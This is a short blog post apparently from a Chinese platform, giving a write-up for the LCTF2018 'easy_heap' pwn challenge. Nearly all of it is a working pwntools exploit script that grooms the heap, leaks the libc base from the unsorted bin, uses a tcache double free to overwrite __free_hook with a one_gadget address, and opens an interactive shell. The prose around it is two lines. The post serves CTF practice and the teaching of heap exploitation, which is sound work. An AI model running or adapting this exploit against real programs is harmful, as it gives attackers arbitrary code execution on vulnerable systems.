LCTF2018 PWN easy_heap(22/100)

思路

overlap合并和doublefree
主要是練習(xí)一下堆布局

EXP

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('easy_heap')
elf = ELF('easy_heap')
libc = elf.libc


def cmd(choice):
    sla('which command?\n> ',choice)

def add(size,content):
    cmd(1)
    sla('size \n> ',size)
    p.sendlineafter('content \n> ',content)

def show(idx):
    cmd(3)
    sla('index \n> ',idx)

def delete(idx):
    cmd(2)
    sla('index \n> ',idx)

def dbg():
    gdb.attach(p)
    pause()

for i in range(0,10):
    add(0x10,'a')
for i in range(0,6):
    delete(i)
delete(9)# protect

delete(6)#unsortbin
delete(7)
delete(8)


for i in range(0,7):
    add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')# make prevsize
#=================================================
for i in range(0,6):
    delete(i)

delete(8)
delete(7)
add(0xf8,'a')
delete(6)
delete(9)

for i in range(0,7):
    add(0x10,'a')
add(0x10,'a')
show(0)
libc_base = uu64()-96-0x3EBC40
lg('libc_base',libc_base)#leak 
#==================================================

add(0x10,'a')#0->9
delete(1)
delete(2)
delete(0)
delete(9)
add(0x10,p64(libc.sym['__free_hook']+libc_base))
add(0x10,'a')
one = libc_base + 0x4f322
add(0x10,p64(one))
delete(3)
# dbg()
# libc_base = uu64()-88
# lg('libc_base',libc_base)
p.interactive()
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy...
    HAPPYers閱讀 804評論 2 0
  • 背景 國賽第二天碰到這個題了. off-by-null 的漏洞很明顯, 直接開始寫exp, 但是在構(gòu)造 prev_...
    pu1p閱讀 264評論 0 1
  • 思路 又學(xué)知識了,關(guān)于overlap的使用,還可以構(gòu)造doublefree,實現(xiàn)任意地址寫這道題讓我又重新審視了一...
    e4l4閱讀 476評論 0 0
  • 新手練習(xí) CGfsb 簡單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,337評論 0 6
  • 16宿命:用概率思維提高你的勝算 以前的我是風(fēng)險厭惡者,不喜歡去冒險,但是人生放棄了冒險,也就放棄了無數(shù)的可能。 ...
    yichen大刀閱讀 7,921評論 0 4

友情鏈接更多精彩內(nèi)容